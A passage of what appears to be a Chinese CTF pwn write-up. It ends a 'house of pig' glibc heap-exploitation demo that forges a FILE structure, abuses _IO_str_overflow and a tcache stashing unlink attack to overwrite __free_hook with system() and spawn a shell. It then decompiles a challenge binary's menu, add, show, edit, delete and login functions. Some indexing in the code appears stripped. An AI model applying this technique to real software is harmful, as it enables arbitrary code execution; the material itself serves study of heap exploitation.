
    size_t chunk_2 = (size_t) calloc(1, 0xF0) - 0x10;
    // ---------- 第二处漏洞利用 ---------- //
    *_IO_list_all = chunk_2;
    // --------------------------------- //
    printf_color(YELLOW, HIGHLIGHT, "这个chunk的起始地址为:");
    printf("\033[" HIGHLIGHT ";" YELLOW "m%#zx\n" STR_END, chunk_2);

    printf_color(RED, HIGHLIGHT, "第四步:伪造FILE结构体。\n");
    printf_color(GREEN, UNDEFINED, "我们使用第二次分配到的chunk作为假FILE结构体进行构造。\n");
    printf_color(GREEN, UNDEFINED, "再次强调注意_IO_flush_all_lockp函数的限定条件。\n");
    printf_color(GREEN, UNDEFINED, "if语句的前一个判断条件是两个判断相或,我们只需要满足第一个判断即可:\n");
    printf_color(RED, HIGHLIGHT, "fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base\n");
    printf_color(GREEN, UNDEFINED, "其中_mode字段的偏移为0xC0,_IO_write_ptr为0x28,_IO_write_base为0x30。\n");
    printf_color(GREEN, UNDEFINED, "我们在_mode处填0,在_IO_write_ptr填1,在_IO_write_base填0就可以了。\n");

    size_t* fake_FILE = (size_t*) chunk_2;
    fake_FILE = 0;    // _mode
    fake_FILE = 1;
    fake_FILE = 0xFFFFFFFFFFFF;    // _IO_write_ptr
    fake_FILE = 0;    // _IO_write_base

    printf_color(GREEN, UNDEFINED, "三个字段修改完成。但我们需要修改的可不止这三个字段。\n");
    printf_color(GREEN, UNDEFINED, "在这个判断条件通过后,我们将会进入overflow函数。\n");
    printf_color(GREEN, UNDEFINED, "house of pig的一个重要思想就是让其执行_IO_str_overflow函数。\n");
    printf_color(GREEN, UNDEFINED, "这需要我们在vtable中写入_IO_str_jumps的地址,其中保存有这个函数的地址。\n");
    printf_color(GREEN, UNDEFINED, "看一下IDA中的_IO_str_jumps结构体:\n\n");
    printf_color(PURPLE, HIGHLIGHT,
               "__libc_IO_vtables:00000000001E9560 qword_1E9560    dq 0                  ; DATA XREF: sub_52C20+49A↑o\n"
               "__libc_IO_vtables:00000000001E9560                                       ; sscanf+B5↑o ...\n"
               "__libc_IO_vtables:00000000001E9568               dq 0\n"
               "__libc_IO_vtables:00000000001E9570               dq offset sub_93D50\n"
               "\033[1;31m__libc_IO_vtables:00000000001E9578               dq offset _IO_str_overflow\n\033[1;" PURPLE "m"
               "__libc_IO_vtables:00000000001E9580               dq offset _IO_str_underflow\n"
               "__libc_IO_vtables:00000000001E9588               dq offset _IO_default_uflow\n"
               "__libc_IO_vtables:00000000001E9590               dq offset _IO_str_pbackfail\n"
               "__libc_IO_vtables:00000000001E9598               dq offset _IO_default_xsputn\n"
               "__libc_IO_vtables:00000000001E95A0               dq offset _IO_default_xsgetn\n"
               "__libc_IO_vtables:00000000001E95A8               dq offset _IO_str_seekoff\n"
               "__libc_IO_vtables:00000000001E95B0               dq offset sub_92600\n"
               "__libc_IO_vtables:00000000001E95B8               dq offset sub_924E0\n"
               "__libc_IO_vtables:00000000001E95C0               dq offset sub_92870\n"
               "__libc_IO_vtables:00000000001E95C8               dq offset _IO_default_doallocate\n"
               "__libc_IO_vtables:00000000001E95D0               dq offset sub_937F0\n"
               "__libc_IO_vtables:00000000001E95D8               dq offset sub_93800\n"
               "__libc_IO_vtables:00000000001E95E0               dq offset sub_937D0\n"
               "__libc_IO_vtables:00000000001E95E8               dq offset sub_92870\n"
               "__libc_IO_vtables:00000000001E95F0               dq offset sub_937E0\n"
               "__libc_IO_vtables:00000000001E95F8               dq offset sub_93810\n"
               "__libc_IO_vtables:00000000001E9600               dq offset sub_93820\n\n");

    printf_color(GREEN, UNDEFINED, "其偏移为0x1E9560。将其填充到vtable字段,偏移为0xD8。\n");
    size_t _IO_str_jumps = libc_base + 0x1E9560;
    fake_FILE = _IO_str_jumps;

    printf_color(GREEN, UNDEFINED, "然后,我们进入_IO_str_overflow函数看看。\n\n");
    printf_color(BLUE, HIGHLIGHT, "(/libio/strops.c, line 80)\n");
    printf_color(PURPLE, HIGHLIGHT,
               "int\n"
               "_IO_str_overflow (FILE *fp, int c)\n"
               "{\n"
               "int flush_only = c == EOF;\n"
               "size_t pos;\n"
               "if (fp->_flags & _IO_NO_WRITES)\n"
               "      return flush_only ? 0 : EOF;\n"
               "if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))\n"
               "    {\n"
               "      fp->_flags |= _IO_CURRENTLY_PUTTING;\n"
               "      fp->_IO_write_ptr = fp->_IO_read_ptr;\n"
               "      fp->_IO_read_ptr = fp->_IO_read_end;\n"
               "    }\n"
               "pos = fp->_IO_write_ptr - fp->_IO_write_base;\n"
               "if (pos >= (size_t) (_IO_blen (fp) + flush_only))\n"
               "    {\n"
               "      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */\n"
               "\treturn EOF;\n"
               "      else\n"
               "\t{\n"
               "\033[1;31m\tchar *new_buf;\n"
               "\tchar *old_buf = fp->_IO_buf_base;\n"
               "\tsize_t old_blen = _IO_blen (fp);\n"
               "\tsize_t new_size = 2 * old_blen + 100;\n"
               "\tif (new_size < old_blen)\n"
               "\t    return EOF;\n"
               "\tnew_buf = malloc (new_size);\n"
               "\tif (new_buf == NULL)\n"
               "\t    {\n"
               "\t      /*\t__ferror(fp) = 1; */\n"
               "\t      return EOF;\n"
               "\t    }\n"
               "\tif (old_buf)\n"
               "\t    {\n"
               "\t      memcpy (new_buf, old_buf, old_blen);\n"
               "\t      free (old_buf);\n"
               "\t      /* Make sure _IO_setb won't try to delete _IO_buf_base. */\n"
               "\t      fp->_IO_buf_base = NULL;\n"
               "\t    }\n\033[1;" PURPLE "m"
               "\tmemset (new_buf + old_blen, '\\0', new_size - old_blen);\n"
               "\n"
               "\t_IO_setb (fp, new_buf, new_buf + new_size, 1);\n"
               "\tfp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);\n"
               "\tfp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);\n"
               "\tfp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);\n"
               "\tfp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);\n"
               "\n"
               "\tfp->_IO_write_base = new_buf;\n"
               "\tfp->_IO_write_end = fp->_IO_buf_end;\n"
               "\t}\n"
               "    }\n"
               "\n"
               "if (!flush_only)\n"
               "    *fp->_IO_write_ptr++ = (unsigned char) c;\n"
               "if (fp->_IO_write_ptr > fp->_IO_read_end)\n"
               "    fp->_IO_read_end = fp->_IO_write_ptr;\n"
               "if (flush_only)\n"
               "    return 0;\n"
               "else\n"
               "    return c;\n"
               "}\n\n");

    printf_color(GREEN, UNDEFINED, "注意红色部分的代码,这里会连续调用malloc、memcpy、free函数。\n");
    printf_color(GREEN, UNDEFINED, "house of pig想要在这里大做文章。\n");
    printf_color(GREEN, UNDEFINED, "首先需要通过tcache stashing unlink attack或其他方法向tcache中插入__free_hook附近的地址。\n");
    printf_color(GREEN, UNDEFINED, "然后在运行到此时,首先通过malloc分配出来,然后memcpy将指定位置的内容复制到__free_hook。\n");
    printf_color(GREEN, UNDEFINED, "最后通过free函数执行__free_hook中的内容,这里将__free_hook修改为system函数地址。\n");
    printf_color(GREEN, UNDEFINED, "通过代码我们可以知道,memcpy是将_IO_buf_base(结构体内偏移0x38)地址处的内容复制到__free_hook。\n");
    printf_color(GREEN, UNDEFINED, "而这个复制的原地址是我们可控的,需要我们在伪造的FILE结构体中设置。\n");
    printf_color(GREEN, UNDEFINED, "这里我们设置这个地址的值为第一个chunk的地址+0x20。\n");
    printf_color(GREEN, UNDEFINED, "............\n");

    fake_FILE = chunk_1 + 0x20;

    printf_color(GREEN, UNDEFINED, "设置完成。之后我们需要注意malloc函数申请的chunk大小,其申请的大小需要经过计算。\n");
    printf_color(GREEN, UNDEFINED, "计算方式是:(_IO_buf_end - _IO_buf_base) * 2 + 100。\n");
    printf_color(GREEN, UNDEFINED, "这要求我们正确设置_IO_buf_end的值。如果使用0x100的tcache进行攻击,则end-base=0x46。\n");
    printf_color(GREEN, UNDEFINED, "据此设置_IO_buf_end为第一个chunk的地址+0x20+0x46(结构体内偏移0x40)。\n");
    printf_color(GREEN, UNDEFINED, "............\n");

    fake_FILE = chunk_1 + 0x20 + 0x46;

    printf_color(GREEN, UNDEFINED, "设置完成。最后注意free函数的参数是FILE结构体的起始地址,因此在第二个chunk+0x20处写入\"/bin/sh\\x00\"。\n");
    printf_color(GREEN, UNDEFINED, "另外在第二个chunk+0x30处写入system函数地址,memcpy函数能够将这里的地址复制到__free_hook。\n");

    strcpy((char*)(chunk_1 + 0x20), "/bin/sh");
    *(size_t*)(chunk_1 + 0x20 + 0x10) = (size_t)system;

    printf_color(GREEN, UNDEFINED, "............\n");
    printf_color(GREEN, UNDEFINED, "设置完成。\n\n");

    printf_color(RED, HIGHLIGHT, "第五步:通过tcache stashing unlink attack在tcache写入__free_hook附近地址。\n");
    printf_color(GREEN, UNDEFINED, "当赛题中只使用calloc时,只有在tcache中存放堆地址,才能让malloc分配到__free_hook。\n");
    printf_color(GREEN, UNDEFINED, "下面进行这种攻击的常规流程:\n");
    printf_color(GREEN, UNDEFINED, "首先分配9个chunk并释放,7个到tcache,2个到small bins。然后分配两个tcache chunk出来。\n");

    void* chunks;

    for(int i=0; i<7; i++)
      chunks = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    chunks = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    chunks = malloc(0xF0);
    malloc(0x20);   // to avoid consolidate
    for(int i=0; i<9; i++)
      free(chunks);
    malloc(0xF0);
    malloc(0xF0);
    malloc(0x100);

    printf_color(GREEN, UNDEFINED, "依次释放9个chunk,tcache中的chunk应该为:7->6->5->4->3->2->1。\n");
    printf_color(GREEN, UNDEFINED, "unsorted bin中的chunk应该为:9<->8。\n");
    printf_color(GREEN, UNDEFINED, "然后分配出来两个tcache chunk,再分配一个较大的chunk,让unsorted bin的两个chunk进入small bins。\n");
    printf_color(GREEN, UNDEFINED, "应该修改第9个chunk的bk指针为__free_hook附近地址。\n");
    printf_color(GREEN, UNDEFINED, "............\n");

    *(size_t*)((size_t)(chunks) + 0x8) = __free_hook - 0x20;

    printf_color(GREEN, UNDEFINED, "修改完成,之后分配一个出来进行攻击。\n");
    calloc(1, 0xF0);

    printf_color(GREEN, UNDEFINED, "已经分配出来了一个chunk,现在0x100的tcache中的第一个chunk就是__free_hook附近的地址。\n\n");

    printf_color(RED, HIGHLIGHT, "第六步:调用exit函数触发house of pig漏洞。\n");
    printf_color(GREEN, UNDEFINED, "现在,所有的东西都已经布置好了,只需要一个exit函数,我们就能够执行预期的函数调用链并getshell。\n");
    exit(-1);
}
```

## house of pig

### 检查信息







没找到原 `libc`,这里使用如上 `libc` 。

### 试运行



### 逆向分析

```cpp
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int id; //
int new_id; //
Info *info; //
Info info1; // BYREF
Info info2; // BYREF
Info info3; // BYREF
unsigned __int64 v13; //

v13 = __readfsqword(0x28u);
init_state();
welcome();
init_info1(&info1);
init_info2(&info2);
init_info3(&info3);
id = 1;
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Peppa Pig first~");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
info = &info1;
get_info1(&info1);
while ( 1 )
{
    menu();
    switch ( get_num() )
    {
      case 1:
      add(info, id);
      break;
      case 2:
      show(info, id);
      break;
      case 3:
      edit(info, id);
      break;
      case 4:
      delete(info, id);
      break;
      case 5:
      new_id = login();
      if ( new_id && new_id != id )
      {
          switch ( id )
          {
            case 1:
            set_info1(info);
            break;
            case 2:
            set_info2(info);
            break;
            case 3:
            set_info3(info);
            break;
          }
          id = new_id;
          switch ( new_id )
          {
            case 1:
            v4 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Peppa Pig~");
            std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
            info = &info1;
            get_info1(&info1);
            break;
            case 2:
            v5 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Mummy Pig~");
            std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
            info = &info2;
            get_info2(&info2);
            break;
            case 3:
            v6 = std::operator<<<std::char_traits<char>>(&std::cout, "This is Daddy Pig~");
            std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
            info = &info3;
            get_info3(&info3);
            break;
          }
      }
      break;
      default:
      puts("Invalid...");
      break;
    }
}
}
```

一道 `c++` 的 `pwn` 题。三只猪用户,一共五种操作,添加,查看,修改,删除,登录。最开始默认`peppa`(猪A)先操作,猪A的 `id=1` ,`Mummy` (猪B)的 `id=2`,`Daddy` (猪C)的 `id=3`。

```cpp
unsigned __int64 __fastcall add(Info *info, int id)
{
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
switch ( id )
{
    case 1:
      add_1(info);
      break;
    case 2:
      add_2(info);
      break;
    case 3:
      add_3(info);
      break;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall add_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
int i; //
int j; //
int size; //
unsigned __int64 v9; //

v9 = __readfsqword(0x28u);
for ( i = 0; i <= 19 && info->ptr; ++i )
    ;
if ( i == 20 )
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
    if ( state->min_size1 <= 0x8F )
      state->min_size1 = 0x90;
    std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
    size = get_num();
    if ( size >= state->min_size1 && size <= 0x430 )
    {
      state->min_size1 = size;
      info->ptr = (char *)calloc(1uLL, size);
      if ( !info->ptr )
      {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(-1);
      }
      info->size = size;
      info->flag1 = 0;
      info->flag2 = 0;
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
      for ( j = 0; j < size / 0x30; ++j )
      read_n(&info->ptr, 0x10LL);
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
int i; //
int j; //
int size; //
unsigned __int64 v9; //

v9 = __readfsqword(0x28u);
for ( i = 0; i <= 9 && info->ptr; ++i )
    ;
if ( i == 10 )
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
    if ( state->min_size2 <= 0x8F )
      state->min_size2 = 0x90;
    std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
    size = get_num();
    if ( size >= state->min_size2 && size <= 0x450 )
    {
      state->min_size2 = size;
      info->ptr = (char *)calloc(1uLL, size);
      if ( !info->ptr )
      {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(-1);
      }
      info->size = size;
      info->flag1 = 0;
      info->flag2 = 0;
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
      for ( j = 0; j < size / 0x30; ++j )
      read_n(&info->ptr, 0x10LL);
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
return __readfsqword(0x28u) ^ v9;
}
unsigned __int64 __fastcall add_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
int i; //
int j; //
int size; //
_BYTE *v11; //
unsigned __int64 v12; //

v12 = __readfsqword(0x28u);
for ( i = 0; i <= 4 && info->ptr; ++i )
    ;
if ( i == 5 )
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Message is full!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
else
{
    if ( state->min_size3 <= 0x8F )
      state->min_size3 = 0x90;
    std::operator<<<std::char_traits<char>>(&std::cout, "Input the message size: ");
    size = get_num();
    if ( size > 0x8F && size <= 0x440 )
    {
      state->min_size3 = size;
      info->ptr = (char *)calloc(1uLL, size);
      if ( !info->ptr )
      {
      v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Error calloc!");
      std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
      exit(-1);
      }
      info->size = size;
      info->flag1 = 0;
      info->flag2 = 0;
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
      for ( j = 0; j < size / 0x30; ++j )
      read_n(&info->ptr, 0x10LL);
      v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
      if ( i == 4 )
      {
      v11 = calloc(1uLL, 0xE8uLL);
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "01dwang's Gift:");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
      read_n(v11, 0xE8LL);
      v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
      }
    }
    else
    {
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Error size!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
return __readfsqword(0x28u) ^ v12;
}
```

添加操作一共有三种,分别对应猪A,猪B,猪C。猪A可以遍历 `0~19` 的索引,并添加一个大小在 `0x90~0x430` 的 `chunk`,猪B 只能遍历 `0~9` 的索引,并添加大小在 `0x90~0x450` 的 `chunk`。对于猪C,则是 `0~4` 的索引和 `0x90~0x440` 的 `chunk`。猪A, 猪B分配的`chunk`大小只能一次比一次大或者本次与上一次相等,但猪C没有这个限制。另外,在猪C函数中如果添加 `chunk` 的索引为 `4`,则还可以再分配一个大小为`0xE8`的`chunk`并写入最大长度为`0xE8`的内容。 3只猪在`add`之后可以立即向新分配的`chunk`中写入内容,但不是`chunk`中任何位置都能写,`chunk`空间以`48`字节为大小分组。对于猪A,每一组48字节空间只能写前面16字节,对于猪B则是只能写中间16字节,对于猪C只能写后面`16`字节。在写入后,会设置两个标志位为0。

```cpp
unsigned __int64 __fastcall show(Info *info, int id)
{
__int64 v2; // rax
unsigned __int64 v4; //

v4 = __readfsqword(0x28u);
if ( state->show_times <= 0 )
{
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No view for you...");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
    switch ( id )
    {
      case 1:
      show_1(info);
      break;
      case 2:
      show_2(info);
      break;
      case 3:
      show_3(info);
      break;
    }
    --state->show_times;
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall show_1(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; //
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 20 )
{
    if ( a1->ptr && a1->size && !a1->flag1 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr);
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_2(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; //
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 10 )
{
    if ( a1->ptr && a1->size && !a1->flag1 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr);
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall show_3(Info *a1)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int index; //
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 5 )
{
    if ( a1->ptr && a1->size && !a1->flag1 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "The message is: ");
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, a1->ptr);
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
```

3只猪可以查看的索引范围和可以`add`的索引范围相同。而且查看时需要有一个标志位为0。这个标志位是`add`中设置的两个标志位中的第一个。本题限制`view`的次数最多为2次。

```cpp
unsigned __int64 __fastcall edit(Info *info, int id)
{
__int64 v2; // rax
unsigned __int64 v4; //

v4 = __readfsqword(0x28u);
if ( state->edit_times <= 0 )
{
    v2 = std::operator<<<std::char_traits<char>>(&std::cout, "No edit for you...");
    std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
}
else
{
    switch ( id )
    {
      case 1:
      edit_1(info);
      break;
      case 2:
      edit_2(info);
      break;
      case 3:
      edit_3(info);
      break;
    }
    --state->edit_times;
}
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 __fastcall edit_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; //
unsigned int index; //
int v6; //
unsigned __int64 v7; //

v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 20 )
{
    if ( info->ptr && info->size && !info->flag1 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Peppa's message: ");
      v6 = info->size / 0x30;
      for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr, 0x10LL); ++i )
      ;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; //
unsigned int index; //
int v6; //
unsigned __int64 v7; //

v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 10 )
{
    if ( info->ptr && info->size && !info->flag1 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Mummy's message: ");
      v6 = info->size / 0x30;
      for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr, 0x10LL); ++i )
      ;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
unsigned __int64 __fastcall edit_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
int i; //
unsigned int index; //
int v6; //
unsigned __int64 v7; //

v7 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
index = get_num();
if ( index < 5 )
{
    if ( info->ptr && info->size && !info->flag1 )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "Input the Daddy's message: ");
      v6 = info->size / 0x30;
      for ( i = 0; i < v6 && !(unsigned int)read_n(&info->ptr, 0x10LL); ++i )
      ;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v7;
}
```

3只猪可以修改的索引范围和可以`add`的索引范围相同。而且修改时需要有一个标志位为0。这个标志位和`view message`的标志位相同。本题限制`edit`的次数最多为8次。

```cpp
unsigned __int64 __fastcall delete(Info *info, int a2)
{
unsigned __int64 v3; //

v3 = __readfsqword(0x28u);
switch ( a2 )
{
    case 1:
      delete_1(info);
      break;
    case 2:
      delete_2(info);
      break;
    case 3:
      delete_3(info);
      break;
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall delete_1(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; //
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 0x14 )
{
    if ( info->ptr && !info->flag1 && !info->flag2 )
    {
      free(info->ptr);
      info->flag1 = 1;
      info->flag2 = 1;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_2(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; //
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 0xA )
{
    if ( info->ptr && !info->flag1 && !info->flag2 )
    {
      free(info->ptr);
      info->flag1 = 1;
      info->flag2 = 1;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall delete_3(Info *info)
{
__int64 v1; // rax
__int64 v2; // rax
unsigned int num; //
unsigned __int64 v5; //

v5 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "Input the message index: ");
num = get_num();
if ( num < 5 )
{
    if ( info->ptr && !info->flag1 && !info->flag2 )
    {
      free(info->ptr);
      info->flag1 = 1;
      info->flag2 = 1;
      v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Success!");
      std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
    }
}
else
{
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "Error index!");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return __readfsqword(0x28u) ^ v5;
}
```

3只猪可以删除的索引范围和可以`add`的索引范围相同。删除后会将两个标志位置为1。

```cpp
__int64 login()
{
__int64 v0; // rax
__int64 v2; // rax
__int64 v3; // rax
unsigned int v4; //
int v5; // BYREF
char s; // BYREF
char v7; // BYREF
unsigned __int64 v8; //

v8 = __readfsqword(0x28u);
v0 = std::operator<<<std::char_traits<char>>(
         &std::cout,
         "Please enter the identity password of the corresponding user:");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
memset(s, 0, sizeof(s));
memset(v7, 0, 0x50uLL);
read_n(s, 0x40LL);
v4 = strlen(s);
if ( !v4 )
{
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "What's this?");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    exit(-1);
}
MD5_initalize(v5);
MD5_init1(v5, s, v4);
MD5_init2(v5, (__int64)v7);
if ( !memcmp(v7, "\xA2'\x90\xD5\xEA\xD5\x37\xA3\xE1\x6D\x4Fc\x17\x7F\xB2X", 0x11uLL)
    || !memcmp(v7, "R\xEC\x3C\x4An\x13\"#\xCA\xF9L\xA2\xFA\x8D\x9B{", 0x11uLL)
    // 第三位为 '\x00',存在提前截断。
    || !strcmp(v7, "<D\x00T\x92c \xAC\xF0\xAA\x1C\xBA\x8C\xBD\x96\xDA") )
{
    if ( s == 'C' )
      return 3LL;
    if ( (unsigned __int8)s - 'A' <= 2 )
    {
      if ( s == 'A' )
      return 1LL;
      if ( s == 'B' )
      return 2LL;
    }
}
v2 = std::operator<<<std::char_traits<char>>(&std::cout, "Couldn't find this password!");
std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
return 0LL;
}
unsigned __int64 __fastcall MD5_initalize(_DWORD *a1)
{
unsigned __int64 v2; //

v2 = __readfsqword(0x28u);
// MD5魔数
*a1 = 0;
a1 = 0;
a1 = 0x67452301;
a1 = 0xEFCDAB89;
